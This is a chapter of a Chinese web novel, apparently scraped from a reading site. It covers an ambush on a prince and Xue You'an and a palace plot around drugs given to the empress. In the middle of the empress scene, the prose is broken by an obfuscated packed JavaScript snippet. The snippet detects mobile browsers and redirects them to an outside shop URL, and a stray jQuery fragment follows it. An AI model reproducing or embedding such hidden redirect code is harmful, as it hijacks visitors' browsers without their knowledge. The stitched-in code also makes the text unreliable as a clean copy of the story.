22. 内力尽失

作品:《沉舟侧畔

    薛幼安已换了一身浅绿劲装,窄袖收碗,青丝编成了辫子放在肩的一侧,许闻铮还专门给她准备了银质发簪和流苏珠链,更显气质锋利。


    她吃着桂子糕,看着眼前悠闲品茗的许闻铮,开始怀疑他口中“逃亡”的真实性。


    许闻铮一抬眼就知道她在想什么。


    “来,”他慢悠悠斟了一杯茶:“慢点吃,别噎着了。”


    热气蒸腾弥漫中,他看着茶杯,感慨的忆往昔。


    “说起来,我与薛小姐还是因茶而相识,没想到误打误撞,短短数日内已成为彼此熟悉的,呃,盟友。”他摸了摸鼻子。


    “我与殿下,可不是误打误撞。”薛幼安优雅的拿起帕子擦了擦嘴。


    “哦?”许闻铮报以好奇的目光,放下茶杯准备认真听。但随即他耳朵一动,遗憾的说道:“我还挺想洗耳恭听,但此刻恐怕不是个好时机。因为——”


    薛幼安微微睁大了双眼。


    “咻——”一支长箭穿透马车侧壁,擦过许闻铮的脖颈直冲薛幼安面部而来。然而在离薛幼安眼睛还有两寸的地方,就再也前进不了分毫。


    视线后移,是是许闻铮牢牢握住箭矢的手。


    不知何时,他已戴上了玄甲手套。


    “在马车内不要下去,如果有人上来,衣服腰侧缝有迷药,发簪内有毒针,腰带可做长鞭。”


    说罢他又递给薛幼安一只匕首,便转身下了马车。


    薛幼安低头,抽出拉绳腰带,发现那竟是一条米白色的蛇皮短鞭。


    果然是秦王府出品,简简单单一件衣袍也能有这么多机关,她数了数迷药的分量,不禁感叹。


    窗外喊打喊杀的声音大概持续了一炷香。


    许闻铮再掀开帘子的时候,脸侧已沾了几抹鲜血,衬得眼睛愈发明亮。


    “幼安,下来吧,接下来的路我们骑马而行。”


    “真是去山庄啊?”薛幼安讶异。


    “当然,我从不诓人。”许闻铮真诚道。


    对于他这类话,薛幼安一般当空气。


    她扶着许闻铮手臂下了车,这才发现马车周围躺满了刺客的尸体,大多都是一击毙命,干净利落。


    “能适应吗?之后的路这样的场景会重复出现,甚至你可能会被卷入战场直面敌人。”


    “当然。”她可是连乱世都见过的人。


    许闻铮松了一口气,这才把压在喉咙里的血吐了出来。


    “你受伤了?!”薛幼安赶忙扶住许闻铮,搭上他的脉搏。这简单的诊断脉息之法还是许闻铮教她的。


    “你怎会毫无内力?你的内力呢!”薛幼安变了脸色:“你不是没有中毒吗?”


    许闻铮拍拍她的手:“放心,我没有中毒,只是吃了七伏消力丹,七天之内内力尽失,不然,怎么骗过宫里那群老狐狸?”


    他笑道:“这只是丹药的反噬罢了,可不是被这群小喽喽打伤的,本王还不至于这么不中用。”


    薛幼安眼前一黑,她没想到许闻铮会这么狠,明知这几日危机四伏还如此冒险,这不是把自己放在案板上任人鱼肉吗?


    她正欲开口,远处又传来一震马蹄声。


    “听声音,至少有三十余骑。主子,你和薛小姐先走,我来断后!”


    寒山牵来两匹马。


    “你留一匹,我与幼安共乘就好。”


    许闻铮跃上一匹马,对薛幼安伸出手:“这等情况与马场内不同,若马发了狂,你是牵制不住的。”


    薛幼安自然不会拿自己的性命冒险,她毫不矫情的借力上马。


    许闻铮把她护在身前:“驾——”


    风在耳旁呼啸而过,染上几分肃杀之气,余光的景色都成了虚影。原来,这才是战马的速度。


    刚跑了两公里,远远看见前方有一排弓箭手。


    “真是下了血本。”许闻铮冷笑。


    他提着薛幼安的腰带,把两人互换了位置。


    “抓紧。”


    许闻铮的声音疾驰中被风割成碎片,薛幼安发现自己心中除了微微的惧意,竟更多的是兴奋和安心。


    或许是知道眼前之人一定会护好她。


    薛幼安握紧了手中的匕首。原来这就是真正的京城,刀光剑影,血雨腥风。


    前方埋伏的弓箭手一同拉弓,漫天箭雨中单枪匹马显得那么渺小。


    马匹嘶鸣一声,一跃而起,箭矢打在它特制的战甲上像是打在铜墙铁壁上,力量微不足道。


    许闻铮三两下剑花,招式快出了残影,把身前的攻击尽数挡下。


    锐利无比的战意感染着座下战马,它极速奔驰,数息之间就冲到了敌人眼前。


    那些人没想到埋伏多时的杀招就这样被轻易破解,一时间手足无措。


    许闻铮要的就是这自乱阵脚的一瞬间,秦王在战场上所向披靡,靠排兵布阵、武艺超群,更靠这让敌人胆寒的杀气。


    往往临到阵前冲锋陷阵,还没开始交手,对面便先软了三分。


    他翻身踹在一人的心窝上,那人滑出数米远,趴在地上再也起不来。


    许闻铮从马背上跃起,躲过密不透风的剑阵,腰身弯出一道柔韧的弧度,在空中瞄准了地面,已几个刁钻的角度甩出暗器,瞬间周围的一圈人皆倒地毙命。


    他落回战马,并不恋战。


    “驾——”轻夹马背,两人一马扬长而去。


    薛幼安回头看,正看到一人摇摇晃晃的爬起来,将弓箭对准许闻铮的后背。


    弓弦震动,杀器直冲而来。


    薛幼安来不及多想,瞬间抽出腰间蛇鞭,瞄准位置一鞭下去,将其击落。


    许闻铮惊讶的回头,看到此景,欣慰的勾勾嘴角。


    “孺子可教啊。”


    薛幼安抓紧了许闻铮的衣带,闻言一笑。


    可不等她整理好心情,左右两侧又出现新的刺客,成合围之势把两人困在圈中。


    许闻铮眼色微沉,不动声色的擦掉了嘴角的血。


    -


    “娘娘,该喝药了。”绿茵轻轻唤醒浅眠的皇后。


    她手中端着一碗冒着热气的药,药汤颜色极浓,黑乎乎的一团。


    皇后迷蒙的起身,带着被吵醒的烦躁,没好气的说道:


    “如此苦的药,竟连蜜饯都不备!绿茵,你最近是越发不伤心了,难不成,是背弃本宫另投了明主?”


    绿茵大惊失色,跪伏在地。


    “是奴婢做事不利,奴婢这就去取蜜饯,还请娘娘责罚。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294786|198539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “还不快去!”皇后斥道。


    待绿茵匆匆离去,皇后才松了一口气。


    她端起药碗看了片刻,眼底晦暗不明。随即熟练的将药汤倒进花盆里。


    父亲,女儿不孝。


    可女儿只想保住自己的孩子,有什么错呢?


    药汤慢慢渗入泥土,那牡丹迎风而立,开的正艳。


    ……


    绿茵慌乱的出了门,回到屋里取蜜饯。


    关上门,她脸上战战兢兢的神色立刻消散,转身向屋内之人深深拜下。


    “属下参见琅独大人。”


    那人回过头,他身披黑袍,阴影之下隐约露出银色面具。


    正是那日在山上木屋,威迫薛幼安偷取暗器图纸之人。


    琅独风度翩然,质如青竹,他轻柔的开口,声如玉石朗润:“最近办事如何?”


    “回大人,前些日子属下故意打翻栗子糕,引得皇后失态和皇上的怀疑,他让高太监偷偷取了一块回去。


    事后第二日,我取了新的栗子糕。果然不出您所料,虽然皇上仍待她如初,她还是继续服用了迷情散,只是她不知这迷情散已被换成了使人受孕的秘药,这几日果然诊出喜脉。


    之后属下又按照您的指使,将王相送入的堕胎药换成了安胎药,想必皇后每日服用之下,定能平安诞子。”


    琅独点头:“这些事,你都办的很好——但下面交代的这件事,更为重要。”


    绿茵抬头,目光灼灼:“只要大人吩咐,赴汤蹈火,绿茵在所不辞。”


    琅独微微一笑:“赴汤蹈火倒不必……王相有一位信重的手下林效。


    此人最为小心谨慎,做事不会做绝,总会为自己留条后路,他在宫中经营十多年,不可能不为自己筹谋。我最近接手他的任务,发现这些年里他做事只动用手下一半的眼线,另一半藏于深宫,几乎没有动静。你去查清楚,这些年,他都在宫里干了什么,又隐瞒了什么。”


    “从前我只道他是贪名图利的小人,但没想到这京城藏龙卧虎,每一个人都不容小觑。去吧,记住,你明面上仍是王相的人,没有我的特意吩咐,王相的命令你都照做即可。”


    “是,属下领命。”


    绿茵起身端起了蜜饯,再抬头,屋内已经不见了琅独的身影。


    她整理了下表情,推门出去。正碰到前来寻她的小太监。


    “绿茵姐姐,你快些,娘娘都催促了,说刚喝了药,嘴里苦的不行。”


    绿茵点头,两人匆匆回到殿里。


    -


    这两日耳目盯得紧,事事伴在身侧,长公主虽拿到了那侍女传递的字条,却没有时机展开细看。


    终于,今日沐浴,她因来了身子,命所有人在屏风外候着,耳目也不好进来。


    雾气弥漫,长公主拿出字条将它浸入水中,沾水,字迹则现形。


    ——皇后每半月与皇上共食的栗子糕中,加以迷情散,以保帝王欢心。


    纸条慢慢在水里泡软,消散了。


    ……


    长公主撩起一捧水,指尖并拢,看着水珠慢慢从指缝中滴落,眼中似怜惜似嘲弄,暧昧不明。


    这真情啊,就如指隙之水,无论捧起多少次,皆为徒劳,是怎么也留不住的。